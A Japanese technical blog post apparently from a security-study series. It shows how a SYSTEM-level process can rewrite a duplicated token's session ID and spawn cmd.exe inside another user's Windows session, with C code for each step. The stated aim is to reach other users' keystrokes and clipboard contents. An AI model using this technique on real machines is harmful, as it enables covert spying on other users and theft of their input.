#146 Token Manipulation
Windowsのアクセストークンについて、もう少し深堀してみます。特権の書き換えについては、前に確認しました。
しかるべき特権を所有していれば、トークンの対象セッションを書き換えることができます。セッションとは、ユーザーがログオンしている環境のことです。例えば、同じPCで作業している他のユーザーの画面にはアクセスできませんが、これはそれぞれ別のセッションに属しているからだと言えます。
しかし、SeTcbPrivilegeとSeAssignPrimaryPrivilegeを有していれば、トークンを書き換えて別のセッションにプロセスを生成できます。これらの特権は、System権限であればデフォルトで付与されているものです。
これの何がうれしいかというと、ユーザーセッションからでないと取れない情報があるのです。例えば、キーストロークやクリップボードの中身など…まあ、細かいことは置いといて、やってみましょう!
条件
SeTcbPrivilegeとSeAssignPrimaryTokenPrivilegeがあること
ターゲットのセッションIDがわかること
セッションIDは
query user
でわかりますし、WTSEnumerateSessionsを使って一覧を取得することもできます。
まず、現在のプロセスのトークンを取得して、コピーします。
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken)) {
printf("[!] OpenProcessToken failed with error : %d \n", GetLastError());
return FALSE;
}
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, 0, SecurityIdentification, TokenPrimary, &hNewToken);
続いて、ターゲットのセッションIDを指定してトークンを書き換えます。
DWORD dwSessionId = 3;
if (!SetTokenInformation(hNewToken, TokenSessionId, &dwSessionId, sizeof(DWORD))) {
printf("[!] SetTokenInformation failed with error : %d \n", GetLastError());
return FALSE;
}
書き換えたトークンをCreateProcessAsUserに指定することで、ターゲットのユーザーセッションにプロセスを作成できます。
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
startupInfo.cb = sizeof(STARTUPINFO);
startupInfo.lpDesktop = (LPWSTR)TEXT("winsta0\\default");
CreateEnvironmentBlock(&lpEnvironment, hNewToken, TRUE);
// create process on the target session
if (!CreateProcessAsUser(hNewToken, L"C:\Windows\\System32\\cmd.exe", L"", NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, lpEnvironment, NULL, &startupInfo, &ProcessInfo)) {
printf("[!] CreateProcessAsUser failed with error : %d \n", GetLastError());
return FALSE;
}
これで、cmd.exeが立ち上がるはずです。
まとめ
Windowsには、なんでこんなことできるんだろうと思える機能がたくさんあります。いろいろと使いこなせれば、やばいことができます。
EOF